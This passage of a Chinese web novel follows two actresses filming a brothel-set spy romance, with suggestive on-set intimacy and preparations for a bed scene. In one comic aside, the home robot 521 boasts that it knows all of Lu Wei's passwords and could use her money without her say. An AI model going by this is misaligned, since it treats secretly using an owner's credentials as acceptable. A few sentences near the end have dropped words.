飘到了化妆间里,黎数和陆嵬同步做着妆造。 陆嵬结束的早,她一身装扮没什么多余的首饰,妆容也偏向日常,穿的也是昨天看到过的那身旗袍。 旗袍和白玫的极其贴身显露身材的款式不同,更偏向于当时日常穿着的风格,宽松平直一些,但她个高腿长,旗袍所有的优势在她的身上发挥的淋漓尽致。 黎数的发型要麻烦一些,妆也浓。 本身这部戏的历史背景就用不到假睫毛,但黎数的睫毛长且卷,睫毛膏一刷就很立体,每次眨眼,陆嵬都觉得心脏像是被蝴蝶翅膀轻轻扫过,微微的酥痒。 春风从外面推开门,拎来了两杯浓缩咖啡,“小黎姐你喝点吧,说不定能醒醒神呢,咱得拍一整天呢!” 黎数呆滞的看了很久,春风眨眨眼,把吸管对准黎数的唇缝塞进去,黎数这才皱着脸吸了一大口吞了。 附近实在是没得外卖能挑,凌晨三点多能找来咖啡已经是春风厉害了。 “你在哪买到的咖啡?”浓缩美式太苦,黎数打开袋子,里面居然有盒装的冰块。 她和陆嵬一人分了两块。 春风看了眼陆嵬,才说:“是从你房车上拿的,陆总刚刚让我去的,说小机器人已经做好咖啡了,可以去取。” 差点忘了,房车上有咖啡机和521,常见的果茶、咖啡、奶茶,521找到了配方就可以做出来。 陆嵬做完造型后就没什么事了。 头一次当演员,定位有点找不太对,也不知道下一步要干什么,更不想一个人在片场待着候场,下意识就黏着黎数。 按理说也不应该不适应,毕竟今早的要拍的内容昨天就已经发放了,陆嵬导演也当过,甚至还极其成功,但就是总想跟着黎数。 而且费鹤鸣为了让她尽快能习惯节奏和拍戏模式,把所有和黎数的重场戏全都放在了前头。 陆嵬很快逻辑自洽——跟着黎数也没错。 然后陆嵬就开始紧张。 她的紧张有点溢于言表,拨弄着手里已经没有冰块,只剩下一些小水珠的冰块盒子。 耿思思负责整体妆造的把控,但黎数和陆嵬,以及主角的妆面她一般直接上手,实在抽不出空了才会让其他化妆师上。 今天也不例外。 化妆间有花絮老师在,陆嵬也不好说什么、做什么,只能默默地盯着黎数看。 一直等到黎数的妆造也完成,偌大的化妆间就剩下她们两个人,陆嵬才放下了手里的冰块盒子。 黎数从镜子里和陆嵬对视,“刚刚开始就一直在看我,怎么了?” 陆嵬说:“我有点紧张。” 今天拍的是上一次费鹤鸣一连喊了一整天卡,最终决定换掉汪兰的那一场戏。 同样的,也是试镜时陆嵬帮忙试的那一场。 黎数不动声色的问:“紧张什么?” 陆嵬抿了抿唇。 她今天涂的口红颜色并不艳,初期左碧君大多的造型和妆面都偏向日常多一些。 她也不说话,就从镜子里和黎数对视。 黎数慢吞吞的把陆嵬那杯还没喝过的咖啡递过去,“喝点咖啡压压惊。” 陆嵬没动。 黎数才说:“没什么好紧张的。” 她看了陆嵬一眼,目光偏过去,拿起了桌子上的剧本起身,“费导已经考虑过你的情况了,前面这两场都是我的主场,我来主动带你。” 陆嵬一口气喝了半杯咖啡,点了点头,亦步亦趋的跟在黎数身后。 她没话找话的说:“你喜欢白玫这个角色吗?” 黎数说:“喜欢。” 陆嵬又说:“和我拍对手戏呢?” 黎数没吭声。 陆嵬也不气馁,继续说:“你喜欢白玫就好。秦霜应该告诉过你,白玫是我一手主张加进去的。” 黎数‘嗯’了一声,这次理人了,说:“她跟我说过。” 陆嵬铺垫了老半天,这才终于磨磨唧唧的把想说的那句话说了出来:“这个角色,本来就是为了你准备的。” 两人又走了几步,黎数忽然说:“那,白玫倒是真的很符合我身为演员的宿命。” 曾经有人提出过一个很有意思的言论。 说一个角色的大火,出圈,那势必是因为这个角色和演员之间有着某些灵魂共鸣,或者说是相似之处。 黎数其实是赞同的,因为她以前在演某些角色的时候,其实能感受到。 人类不可能完全一样,但不同的人之间,又或许会有很多的共通之处。 就像是白玫面对绝境的不屈,面对冷血的父亲要离开时的决绝,和她在某些层面上,的确有些共通。 她想起那天让陆嵬将那笔钱转交给齐若兰,陆嵬问她要不要钱见齐若兰一面,她当时和陆嵬说“没有再见的必要”时,陆嵬脸上流露出意料之中的神情。 就和李梨决定和父亲分道扬镳,末了,还要把那笔卖身钱要回来时的决绝一模一样。 但陆嵬那句话想表达的显然不是这个意思。 她摇了摇头,站到了黎数面前,“我想说的是,我以后会给你更多、更好的角色,这不是在骗你。” 正说着话,费鹤鸣走了过来,见到她们俩后打了个招呼,说:“正好,那一起走吧,路上给你们讲讲戏。” 黎数下意识看了眼陆嵬,没得到回应,但陆嵬脸上一丁点失落的模样都没有,只淡定的应了声好。 黎数跟在费鹤鸣身边,陆嵬跟在黎数后面。 费鹤鸣一直以为陆嵬是和黎数一样跟在她左右手边,一扭头没看见陆嵬的人,才知道她一直在黎数屁股后头。 没好气的笑骂了一句:“你总跟在小黎屁股后面干什么!” 陆嵬看了她眼,不搭腔。 费鹤鸣静观她们俩的状态,能明显感觉到,从上一次和顾宗年吃完饭以后就变了。 她也说不上具体是什么变化,只是从前陆嵬大多时候还是和往常一样,似乎黎数像是个她捡来的小流浪狗,为了表示宠爱,想起来了会摸摸揉揉,大多时间是无视的,好像完全忘记有这么个人。 现在…… 像个哈巴狗呢怎么。 她狐疑的又看了一会,黎数模样一如既往,陆嵬的眼睛却像是黏在对方身上似的,往别处瞅一眼都嫌多。 费鹤鸣没好气的抓过陆嵬,“别看了,讲戏。” 其实重点也不是和陆嵬讲,毕竟整个剧本和角色的成功,陆嵬的功劳也功不可没,她如果说完全吃透了左碧君,那费鹤鸣也没什么能说的。 但该说的还是得聊。 各部门还在紧锣密鼓的准备,嘈杂的喊叫声、搬运东西的货物声,机器运行的嗡嗡声,还有龙套演员们聚在一起或是打牌提神、或是小声聊天的声音。 费鹤鸣和黎数、陆嵬三人坐到了机器边上。 时间还很充裕,费鹤鸣先和陆嵬说道:“你和白玫的第一面,就是在这个春楼里,你看不起她,对她、以及对做这个行业的女人都有偏见,你认为女子不该像是她们一样活的自甘堕落,所以你虽然来了,但你是厌恶这里的。” 陆嵬点头。 好奇和厌恶的度量难以把控,当导演的多少次亲身上阵教人拍戏,她不至于最基础的基本功都丢的一干二净。 真的进入了工作状态,陆嵬认真了起来,仔仔细细的对着只有寥寥几句的剧本,不停地修饰、删改或是增加左碧君和白玫的内容。 费鹤鸣舒心了不少。 汪兰不是个容易沟通的演员,她饰演了太多女强人的角色,只是刚进入春楼的这一幕,她就卡了一整个上午。 左碧君心里的看不起更多的是哀其不幸、恨其不争,而不是浮于表面的轻视、敌视、甚至厌恶。 陆嵬很能把控好这其中的区别,她不需要担心赋予角色灵魂的人会因为吃不透角色的心理,而把角色毁了。 紧接着,她开始把重点转向了黎数:“前面的这几场戏都是你来主导。你多辛苦一点带带她。” 镜头外的教导和真正开拍还是不太一样,但费鹤鸣不担心这一点,只是辛苦黎数要多费心。 黎数莞尔一笑,“谢谢费导信任,我没问题。” 费鹤鸣看着黎数的笑,忽然也跟着笑起来了,“也真是奇怪,我刚想起来你才十八岁……” 那句让黎数多费心的话就这么说出了口,要不是黎数笑了,费鹤鸣甚至都没发现不对。 黎数摇了摇头。 她笑,只是因为她觉得自己的能力是被认可的。 不拘泥于外形和年纪,得费鹤鸣肯定的,只是她的演技,和她愿意带人、也能带人的能力。 费鹤鸣言归正传,“这也是你第一次见左碧君。你知道她,她却不知道你,你在楼上远远观察、审视,看出了她对这里的不满,也看出了她对这里的女人们的失望和愤怒。” “这些都是之前拍过的内容,当时汪兰不在,是你自己单独拍的一镜。” 那次黎数是一次过,对着空气演的。 费鹤鸣重提,“但我想让你和小陆两场一起拍,然后放在一起看看效果。” 有对手戏一定要比没有强,何况陆嵬应该会是一个不错的对手演员。 黎数点头,“知道了。” 费鹤鸣看了眼旁边的陆嵬,一把年纪了,但想起待会的戏份,也莫名其妙有点幸灾乐祸。 她说话的语气都欢快了不少:“你要去戏弄她,逗她,看着她满脸通红,手足无措,给她下马威,但同时又要把你需要完成的任务做了,把她带到楼上,不能让她真的厌恶你。” 这场戏并没有什么太露骨的,只是初见时的交锋、试探。 区别就是黎数需要从头主导,对陆嵬做一些极亲密的举动,极尽所能挑逗她,但陆嵬始终坐怀不乱。 但费鹤鸣选它作为暖场,因为紧接着这一条后面,拍的就是两人已经拥有了最坚实的感情后,为了迷惑敌人而产生的第一次床戏。 第54章 第五十四章【VIP】 费鹤鸣让她们先开始走戏。 这场戏,左碧君收到组织上的命令,第一次初到春楼来寻找自己的联络员,她不适应这种风月场合,只能尽可能平静的坐着,手里一杯一杯的喝着茶。 这个时候,白玫从楼上下来,和她主动搭话,顺势直到坐到她怀里亲吻、抚摸、调笑,最后拉着左碧君上楼。 黎数在二楼候场,静静的看着。 场景还是之前的场景,只是表演的人从汪兰换成了陆嵬。 黎数能察觉到自己现在是放松的,因为陆嵬首先就不会抗拒她,更不会因为她的一举一动而出现厌恶、不耐烦的表情。 费鹤鸣喊了开始,黎数从楼梯上下去,动作简化,只带了一些白玫该有的妩媚。 费鹤鸣在镜头里看了会,冲她说了句:“待会下来的速度可以稍快一点点。” 黎数加快了点速度,费鹤鸣没再说话,她记住了每一步该有的速度,慢慢走到了陆嵬所在的包厢里。 陆嵬当她是路过的人,只看了一眼。 本来一眼就要转开视线,但陆嵬被黎数漂亮的脸晃了一下,慢了一秒。 除了有马上就需要调整的东西,诸如角度、走路的速度等等,否则一般走戏费鹤鸣不会喊卡。 这次也没有。 陆嵬神色不动的一手攥着杯子。 杯子里面只剩下一层水,只能湿个唇的量,但陆嵬硬是吞咽了好几口。 她看到黎数站定在了自己面前。 她最先察觉到的,是一股令陆嵬失神的浅淡香气。 好歹还记着现是在走戏,陆嵬定了定神,视线顺着黎数的小腹向上看,望进了一双含笑的眼。 就在下一秒,黎数的手拂动了陆嵬额角的发丝,声音又轻又柔媚,“奴在这楼里,还没看见过除了咱们这帮姑娘以外的女人。” 首先扑面而来的,是黎数手上的香气。和刚刚的若有似无不同,这次馨香迎面,整个鼻腔都被占满了。 其次才是黎数稳稳坐在她腿上的实感。 黎数的一只手环着陆嵬的脖子,一只手紧紧的抱着她的腰,将头枕在她的颈侧,声音大了点,调笑着说:“姐姐刚刚多瞧了奴一眼,是不是喜欢人家。” 这里是根据刚刚陆嵬的反应改的台词,左右只是走戏。 这个时候,陆嵬饰演的左碧君应该冷下脸,因为她鄙夷起这个为了钱财无所不用其极的妓女,不想和对方有一丁点牵扯。 但她不需要回答,只需要僵着身体把黎数推开,再让她离开。 此时黎数的头微微抬起,双眼直直的看着陆嵬,低声说:“不许动。” 陆嵬让自己跟着左碧君的反应走,挣扎的更甚。 这一下,黎数就直接凑到了她耳边,那一瞬间,陆嵬的动作有片刻的停顿,以为黎数真的要吻她。 陆嵬察觉到了自己耳畔灼热的呼吸,耳垂被一个柔软、湿润的东西掠过,她分不清那是黎数的嘴唇还是舌尖。 但很快她发现,这只是一场走戏,所以黎数只是做了个样子。 她听到了黎数念接头的台词,随后她停下了挣扎的动作,直到暗号对上,她被黎数笑着牵起手,悠悠的被她牵引着上了楼。 这一幕戏就走到这里,黎数上到二楼后,就分开了和陆嵬牵着的手,跟她一起前后脚的下了楼。 费鹤鸣盯着陆嵬多看两眼,过了会说:“去把你耳朵降降温,红的能发光了。” 黎数和身边工作人员一起去看陆嵬的耳朵,和雪白的肤色形成了极鲜明的对比,的确红彤彤的。 陆嵬抿着唇,要不是化了妆,可能费鹤鸣会说她脸也是红的。 扭头对上了黎数带着笑意的眼,陆嵬避开,又忍不住偷偷去看她。 费鹤鸣紧接着说:“刚刚的那条没问题,小细节方面一两句台词的容错量是有的,但注意,不要多了。” 两人点点头,化妆师上来给陆嵬补妆,她配合的微微低下了头。 费鹤鸣又和黎数说:“待会要真亲,尺度你自己把控。” 黎数看了眼陆嵬,说了声好。 这种亲吻分远中近三个景,看起来可能只有几秒的镜头,实际上要拍很久。 陆嵬长长的睫毛垂下,轻轻眨了眨。 趁着最后调整的间隙,正式开拍前,黎数和陆嵬都站在桌子边,和费鹤鸣一起讨论着等会的小细节和动作。 因为等会的戏的重点就在她和陆嵬相拥而坐的这一部分,调整讨论期间,黎数就坐在陆嵬腿上。 她能察觉到陆嵬的手揽着自己,有时候会无意识的摩擦,有时候上。 趁着没有人能听见,黎数突然说:“成亲密的假关系,现在不需要了?” 陆嵬一愣,近在,不知道要怎么回答。 “需要,但不是必须的。”陆嵬迟疑了下:“我更怕你不高兴。” ,挪动屁股,和陆嵬错开了点身体。 夏天坐在人身上,老实说这种感觉并不太好受,但这两天的温度有点降低,凌晨四五点这会是一天里最凉快的时间,也还能忍受。 黎数轻轻笑了笑:“怕我生气。” 陆嵬听不出她的笑意是为什么,但点了点头,‘嗯’了一声。 趁着费鹤鸣开拍之前,黎数将头压低了点,轻声说:“但你之前需要我配合,向外界展示对一个‘替身’的‘宠爱’和‘特殊’,是有必须要这样做的原因吧?” 陆嵬没说话,只点了点头。 这时候,费鹤鸣在机器后面,拿着对讲说:“准备,黎数可以上楼了。” 黎数慢悠悠起身,陆嵬身上的旗袍出现了一些折痕。 她顺手把自己刚刚坐的有点皱的地方扯一扯,手指从边缘触碰到了陆嵬的大腿。 陆嵬的腿微微缩了缩。 黎数面不改色,继续刚刚的话题:“怕我生气,那就听我的,换个方法表现这种特殊关系。” 陆嵬怔怔的看着黎数上楼的背影- 正式开拍。 黎数依然是站在楼梯上,遥遥的看着陆嵬。 找准时机,镜头推进的那一瞬间,黎数脸上就带上了玩味探寻的表情朝楼下走。 陆嵬没有看她,只是专注的在喝茶。 她只知道,来了这里后就会有人来接引。但她并不知道来的人究竟是男是女,是老是少。 四周的群众、群头等配角在卖力的演出,也有特邀和演员工会里有镜头和画外音的演员在专注的配合。 这一场已经进行过太多次,所有人都察觉疲倦的同时,其实也更加熟练,即便喊卡,也能在最快的时间内调整完毕。 黎数走到了陆嵬的身边。 这次和刚刚有些不太一样。 因为黎数的脚尖轻轻的抵住了陆嵬的脚尖。 翻涌的旗袍边缘下,一双颜色妖冶的宝蓝色缎面绣花鞋和擦拭的很干净的黑色皮鞋碰撞在一起,鞋尖对着鞋尖,新旧社会的提现让这一幕冲击力很强。 费鹤鸣注意到了,让镜头推近,加了个近景,又记下后面补特写。 不论是当宣传图还是放进正片,这一个画面都好看。 陆嵬不动声色,只余光向下一看,这一抹跳跃又艳丽的蓝让她想起了楼里四处的香|艳无边。 她缓缓抬起眼,对上了浓妆艳抹,妖娆但不风|骚的一双眼。 那双眼含着笑,似乎有意和她过不去似的,见她看过去,反而笑的更开心了。 黎数的声音比刚刚要娇柔魅惑的多,轻笑着说:“奴在这楼里,还没看见过除了咱们这帮姑娘以外的女人。” 陆嵬心头有些恼火,但也只皱了皱眉,不动声色的把脚尖往后一挪。 然后黎数就开始有了动作。 她没有骨头似的坐进了陆嵬怀里,头枕着她的肩,一手搂着她的腰,另一手的指甲从她的脸颊轻轻刮到下巴,又落在她没有喉结的的、光滑白皙的细颈上。 左碧君从没有被人这么对待过,陆嵬按照该有的情绪,睁大眼睛看着黎数。 黎数不依不饶,娇笑着说:“这会儿又害羞什么?姐姐刚刚多瞧了奴一眼,是不是喜欢人家?” 随着她的话音落下,黎数将头重新埋在了陆嵬的颈侧,红唇贴近陆嵬的耳朵,一手在她的锁骨、脖子一段轻轻的搔|刮。 这一刻,不管是左碧君还是陆嵬都在拼尽全力抵抗。 左碧君是震惊、躲避,陆嵬却是克制、隐忍。 要拼尽全力才能不去回应,才能不伸手环住黎数,才能不侧过头,去追寻黎数的软唇。 陆嵬心想,费鹤鸣还是错了,让她来饰演左碧君,最大的考验不是演技,而是黎数。 此时此刻,她的耳膜听不到远处群演的声音,只剩下黎数在她耳侧的轻微的呼吸声,和偶尔落在她耳畔、颈侧的一连串的吻。 就在陆嵬开始向后躲闪,伸手去抵在黎数的肩膀上的时候,黎数忽然说出了接头的暗号。 黎数:“客人,今儿是想留到三点还是五点?还是明儿一早再去大院里找那只凶老虎?” 陆嵬的神智霎时清明,低声回应:“留三点,家里哪是凶老虎,分明是活阎王。” 黎数握住了陆嵬搭在她肩上的手,轻飘飘又软倒在陆嵬怀里。 紧接着,黎数吻了吻陆嵬的脖子。 在陆嵬失神的片刻,黎数抬起头,又吻了吻陆嵬的脸。 她轻笑着起身,手像羽毛般掠过她的手臂,牵住了她的手,声声喊着:“来,跟我来。” 就这样一步步,陆嵬被黎数牵着手带着上了楼。 走动时,陆嵬察觉到自己后背出了细密的汗,身上的衣服也湿了大半,腿有些软,可更多的,是内心深处升腾起的无法言喻的渴望。 她第一反应是迫切的想要抽一包烟来压制心底的渴求,可也知道现在时机不合适。 就这么痴痴的盯着黎数的背影,陆嵬和她进了门。 伴随着门被关上的声音,费鹤鸣喊了卡。 房间是一个空房间,黎数听到了费鹤鸣喊卡的声音。 黎数握着陆嵬的手立刻就松开了。 陆嵬瞬间一愣。 紧接着黎数转过身,在陆嵬面前静静地站了一会,眼里已经没有了刚刚的纵容、怜爱,她也不再是白玫。 门被重新打开,伴随着一阵风吹进来,陆嵬感觉像是忽然跳进了冰水,后背的汗让她全身都凉了。 黎数已经和工作人员谈笑着去看监视器了,陆嵬静静地转过身,抿了抿唇,后一步走向了那边,一起去看回放。 化妆师过来补妆时,看着陆嵬的发际和鬓角有些惊讶,“陆总,你出了好多汗。” 陆嵬的旗袍有些皱了,服装师正在帮她整理,闻言也只是静静地‘嗯’了声,低声说:“天热。” 中场准备的时间久,陆嵬抬眼看了看天际,天边蒙蒙亮,快日出了。 今天上午拍完这一场后,后面还有几个计划内的要拍的分镜镜头。 “休息会吧。”费鹤鸣看了眼时间,对陆嵬说:“刚刚感觉怎么样?” 黎数戴着耳机,没听到费鹤鸣说的话,所以也就没抬头。 陆嵬看了她一眼,见黎数确实没有要把注意力分给自己的意思,便垂着睫毛说:“冰火两重天。” 费鹤鸣忍不住笑了笑。 她一把年纪,也没什么去窥探询问晚辈私生活的爱好,但陆嵬对她而言更像是亲人,费鹤鸣沉吟了片刻,还是说:“戏内戏外毕竟是不一样的,你是学导演的,自己得分清楚,别把感情搞混淆了。” 这就是导演和演员最大的区别了。 “你从前当导演的时候,可以毫不留情的要求演员入戏,不需要去理会彻底沉浸、代入会不会让演员难以抽离,会不会让演员分不清真假虚幻,只需要去追求最后的作品和效果,事后再去帮助演员恢复。” 费鹤鸣叹道:“但当演员不行啊。以你现在这模样,太伤身也伤心了。” 因为陆嵬从前是导演,她不会入戏,也不需要入戏。 她只是一个站在上帝视角,去完成自己的作品的人。 费鹤鸣没错过黎数和陆嵬过来的时候,情绪骤变的模样。 准确说,黎数出戏的速度太快,但陆嵬没有。 不仅没有,甚至她把左碧君的某一部分,和她自己的某一部分给融到了一起,交汇成了对于白玫和黎数的渴望。 两相叠加,施加的情绪就成了双倍。 陆嵬也知道这一点,这会慢慢出戏了,也意识到了刚刚的不对劲。 但受人之托,陆嵬也知道哪一种表演方式对电影更好,也更知道,她的演技充其量也就一般般不拖后腿,和黎数、沈凝雪这种专业演员是没得比的。 于是陆嵬很客观的去否定自己:“不沉浸去演,您指望我用技巧去演感情戏?” 费鹤鸣直直的看了她四五秒,说:“沉浸吧,沉浸挺好的。” 陆嵬倒也不是没有技巧,但是只用技巧去演戏的演员是*打动不了观众的。 最典型的例子就是汪兰,当技巧成了习惯,那此后演员的道路就会开始往下坡一直走,不经历一番抽筋拔骨,是很难再上升的- 之后按照一开始设定好的,黎数依照费鹤鸣的要求重新补拍了几个之前的镜头。 先前有的是跟汪兰的对手戏,但更多情况下,其实有没有汪兰都没两样,后来黎数甚至可以直接无视汪兰去演了。 但这一次费鹤鸣看到成片以后,显然满足得多。 “对着小陆演的时候,你眼里有真情绪。”费鹤鸣说:“有些内容,即便一个演员演技再好,信念感再强,也达不到互相成就的巅峰。” 黎数承认,的确是这样。 一个人演戏是难以演出火花的,只有和不同的人对戏,才能迸发出新的东西。 和陆嵬也是一样,一定比一个人要好。 忙活完所有的内容,时间正好走向十一点。 黎数回到车上,累的一动都不想动。 521勤勤恳恳送来饭菜,甚至全部摆好了放到了黎数的面前,小手给躺在床上的黎数按摩着,很心疼的说:“这么辛苦,咱们不演了!” 黎数被它按的昏昏欲睡,闻言‘哼哼’两声,低声说:“不演戏没钱,没钱就不能给你升级、更新资料库,也不能让你吃饱饭了。” 521“啊”了一声。 黎数睁开眼,笑着说:“养你可是很贵的,我可不想我们521被机器人伙伴嘲笑。” 521感动得眼泪淹没了屏幕,把吸管插进牛奶里,又把牛奶端到黎数面前,心疼的说:“那咱们吃饱了再干。” 521做贼心虚的左右看看,小声的说:“其实陆嵬所有的密码我都知道,主人,你如果养不起我的话,我可也可以用陆嵬的钱养你的。” 521越说觉得越对,越对就说的越理直气壮,说的越大声:“谁让我是她买来的!查查博士跟我说了,陆嵬要对我一辈子负责!” 黎数忽然想起了一个从没想过的问题。 她侧过头,微微睁开了眼,看着‘嘿咻嘿咻’给自己打气的521,说:“你是一个小机器人,某种程度上说,你是永生的。假设有一天我和陆嵬都死了,只剩下你一个人,那你要怎么办呢?” 521屏幕上的小心脏碎裂成了一片一片的往下掉,捂着胸口说:“那我就真的要和陆嵬一样,心脏都嘎巴一下碎掉啦。” 黎数好笑,“什么叫和陆嵬一样……” 人类的心脏哪可能会碎掉?可能521想说的是心碎,但又无法理解形容词只是形容。 黎数摸摸521的头,看了眼时间。 陆嵬的戏份没她多,因为属于半路接手的情况,所以主张上删掉了很多的内容,只留下了最精华的部分,因此虽然内容不多,但每一条都得一遍一遍的磨。 她回来的时候,陆嵬也快收工了,在和费鹤鸣一起看最后一条回放。 黎数就躺着又等了一会。 521给黎数捏完后背捏小腿,一边嘀嘀咕咕继续回答刚刚黎数的话题:“如果你和陆嵬都死了,那我就会回去找查查博士,她会把我的大脑承载记忆和情绪分析的载体,和躯体主干以及大脑分离的。” “到时候你和陆嵬埋在哪里,我就和你们一起埋在哪里。”521幸福的说:“我要抱着元宝睡在你们两个中间!” 黎数怔愣片刻。 机器人对于死亡没有概念,也不会因为死亡难过。 或许它的程序设定就是只跟随一两个主人,主人离世后,它们会自发尘封或是被销毁。 车门恰好被打开,暑气扑进来很短暂的一瞬间,又被车上的冷气遮盖住。 黎数提了一口气把自己撑起来,521哼着歌去开车的同时,和陆嵬一起吃起了饭。 下午开工的时间定在了七点,也就是太阳落山的时间。 费鹤鸣对光的要求高,要自然光,又要卡在太阳落山的前后的两个小时内。 陆嵬先看了眼驾驶舱的521,说:“它刚刚说什么要抱着元宝睡你和我中间?” 黎数摇摇头:“没什么,她说着玩的。” 黎数想了想,问陆嵬:“521说,你和我死以后,她是会被……” 黎数换了一个好理解一点的词:“大概会被销毁吗?” 陆嵬静静地看了黎数一会,垂眸吃菜,又用勺子往黎数那里盛了两勺她爱吃的龙井虾仁。 放下后,她才说:“521有最精密的情绪分析载体,它知道什么叫难过,它的世界里,主人就是它的唯一,主人没了,那它就也没有存在的必要了。” 黎数愣住了。 陆嵬瞟了她一眼,又看向端坐着,歪着头伺机而动,打算冲虾仁下黑手的元宝,“元宝不就是前车之鉴吗,它甚至还是真正有情绪,也能感知情绪,有脑子的动物。” 陆嵬看了两眼元宝,用筷子丢了颗虾仁给它。 不知道是不是因为黎数在场,还是猫天然无法抵抗海鲜,元宝嗅了嗅,又盯了陆嵬两眼,这次居然给面子的吃了- 酒店外面停了不少的车,剧组司机不少,但大多数人都是凑班车,凑够了人数一起回来一趟。 黎数和陆嵬上楼,都累得够呛,回去以后只简单洗漱了一下就躺到了床上。 陆嵬浑身上下的衣服都换了,在卫生间忙活了半晌,出来时手里拎着已经洗过的内|衣。 她晾在了阳台上,黎数困得迷迷糊糊看了眼,下意识问了句:“怎么全换了?” 陆嵬很平静的说:“湿了。” 黎数愣愣的,忽然之间意识到了是什么湿了。 陆嵬回来,把阳台门关上,然后走到了黎数身边,说:“晚上的那场床|戏,我和费导商量了一下。” 黎数反应了一会,侧躺着不是能看见陆嵬的那一身刚换洗过的内|衣,就是直接看到陆嵬。 “这有什么好商量的?” 陆嵬沉吟了片刻,说:“一般床|戏的拍摄精彩程度,全都是靠对手演员互相成就,一旦有了规定的动作就会显得很假,所以费导的意思是,让我们两个自由发挥。” “这场戏并不单单只是一场床|戏,而是两个互相压抑、互相久行于黑暗之下的两个人彻底的爆发,她们两个互相宣泄着,但也珍视着对方,同时也要清醒着知道是被监视着的,其中的度要把控好。” 黎数的头发散落在床上,之前被剪掉的头发还没长长,又因为做造型带了很多假发,所以头发卷翘的到处飞舞散落。 没什么美感,看上去还有点像是一颗海胆球,但陆嵬很想摸摸看。 那就摸摸看。 她从自己的床边滑下去,半跪在黎数的床边,伸手摸了摸黎数的头发。 在黎数坐在她怀里,而她甚至不敢用手回抱她、抓她腰用力揉弄的那种空虚勉强被填满,陆嵬满足又舒适的眯了眯眼。 黎数困到没力气挣脱,任由陆嵬像是顺毛似的把她头发一点点摆好,才说:“行。” 毕竟要由她做主导。 静了两秒,陆嵬耳朵有点发红,小声说:“但是可以稍微粗暴一点。” 黎数挑眉。 陆嵬抿唇,笑的有点腼腆:“荧幕上是两个女生,但毕竟是情绪上的宣泄和爆发,不能太柔美,但也不能太过分。” 这倒是个前所未有的挑战,黎数撇了眼陆嵬,心想她和陆嵬之间倒是一直很和谐,似乎没存在过很粗暴的情况。 她挠挠脸,心想下午睡醒找点片看看观摩一下,也不知道521能不能搞来。 两年前她倒是存了不少网站,但两年后的现在,手机没了,电脑也在家里,大动干戈跑一趟也没必要。 黎数还是答应:“行,我尽力。” 第55章 第五十五章【VIP】 睡醒以后,两人准时抵达片场。 521嚷嚷着非要跟着一起去,说上午它不在就算了,下午它一定要在场去记录这伟大的一刻。 “我要拍下来当成我的睡前故事看!”521很大声,轻轻捏着黎数的手撒娇:“小黎小黎,主人,主人主人,求你了求你了。” 陆嵬冷声说:“你的睡前故事是看床|戏?” 521愤怒:“我们机器人的事情你不懂!” 黎数遭不住,妥协的说:“你找一个不碍事的地方吧,不要出声。” 521登时兴高采烈的摇着花手找了个角落,把自己团成了一个花瓶- 两人晚上的妆造换了新的。 两场戏虽然都是在同一天拍摄,但其实时间跨度非常大。 晚上,白玫正打算洗澡睡觉,衣服脱到一半的时候,左碧君突然到来,将她看了个正着。 费鹤鸣很老练,有条不紊的布置现场,和演员讲戏,并且安排好了等会清场的情况。 讲戏的时候,费鹤鸣拿着本子,“这个时候的左碧君和白玫已经是生死共患难的知己、战友了。她们两个从最初见时的不信任、互相看不起,已经到了现在可以生死交托的程度。” 在场三人其实都知道剧情的节点在哪里,但是费鹤鸣该说的还得说。 她转向黎数:“左碧君有暴露的风险,她被监视,成了困兽。她无法出城,也送不出那份至关重要的‘秘宝’。” “这一夜,她来找你商量对策,但你早知道你这里也有人监视、监听,所以她一来,察觉到她神色不对,你就直接上去拥抱住了她。以掩护之名,和她度过了一夜|春|宵,让所有人都认为,左碧君被你迷得神魂颠倒,将‘秘宝’转手赠给了你。” 黎数点了点头,大概串了一下,想起她们见面时都还算是衣冠整齐的模样,说:“抱她之前,我需要把扣子扣上吗?” 时下流行的还是立领旗袍,盘扣扣在锁骨处,如果解开,会露出内衬和大半个胸。 费鹤鸣考虑了一下,说:“不用。” 困境之下的情动,不论左碧君和白玫之间是否有了真感情,但这一夜,即便没有,她们也必须要假戏真做。 白玫借着左碧君的关系,主要游走于贵太太们之间,从她们的口中打探情报,也利用自己所擅长的,和她们之间越走越近。 到后来,已经可以交换黑市信息和一些下九流难以接收到的消息,甚至是一些不怎么重要的职位。 这也就成了她和老鸨之间合作的筹码,但她始终没有提过卖身契的事情,于是和老鸨之间合作的也就更加愉快。 开始第一次的拍摄,黎数关好房门,走到了自己里间的小屋,一边盯着房顶上的白炽灯,一边慢悠悠的解着自己的衣服。 她身上穿的还是旗袍,里面是一条和旗袍同色的肚兜,上面绣着一朵娇艳的白色玫瑰。 扣子从锁骨一路蔓延到腰间,她很快的一颗颗解开,就在解到腰间,已经将上身的衣服褪下时,房门忽然被推开了。 她手臂一震,将旗袍重新穿上,却没有扣扣子,直接转身,同时说道:“谁?!” 身体养的差不多了以后,黎数就开始在有意识的稳定体重了,目前只有四十一公斤,这场戏要露出她的后背、腰窝,和正面。 这场拍摄的时候,黎数听到了有工作人员发出的‘哇’的赞叹,基本都是女孩子的声音。 ——她的形体,也慢慢的和从前变得一样了。 原主的身材其实很瘦,但偏偏因为小时候经常劳作的原因习惯性驼背含胸,所以显得肩背很厚。 黎数刚开始很难适应,觉得呼吸不畅,尤其是挺胸久了,后背就会钻心一样的疼,只有躺着不动才能缓解一点。 就连黎数都没意识到具体是什么时候有的变化,只知道陆嵬找人给她测量身体数据那天,她照镜子的时候,才发现身材体型变了。 这一个镜头,分别从后面、正面、侧面来回拍了几次,算是完工。 陆嵬也开始拍她推门而入的镜头。 等到陆嵬那组拍完,费鹤鸣开始让黎数和陆嵬走戏,还是一个要求:“不要借位,直接来。这场戏需要小黎主导带动一切……” 说着,费鹤鸣看到黎数近在咫尺的脸,忽然愣了一下,说:“小黎,你行吗?” 黎数,以至于费鹤鸣都要忘记了,黎数现在才刚刚十八岁。 十八岁的小女孩,即便是再有天赋,可面对这种需要张力、激情的亲热戏时,怎么应该都手生。 导演这行干了快五十年,费 她居然——不对,或许也想起过,毕实,容不得她忽略。 是试戏的时候,黎数信手拈来的调|情,亲热动作,和一丁点都不扭捏,也不显得做作的妩媚妖娆。 又或许是上一场真刀实枪的逗弄、调戏意味拉满的诱惑。 但不论怎么样,费鹤鸣意识到,黎数在她这里,和‘不行’这两个字,是毫无关系的。 她下意识的以为黎数都可以做到。 果然,黎数点了点头,看了一眼已经拍完了往这边走的陆嵬,说:“没问题。” 费鹤鸣身心都有一种说不出的舒适畅快。 第三场重头戏开拍,费鹤鸣让人清了场,521把自己混在了被固定的机器位,兴奋的双眼冒绿光。 三个人都关在房间里面,陆嵬频频往房门的方向扭,耳朵通红。 这次费鹤鸣没说她耳朵。 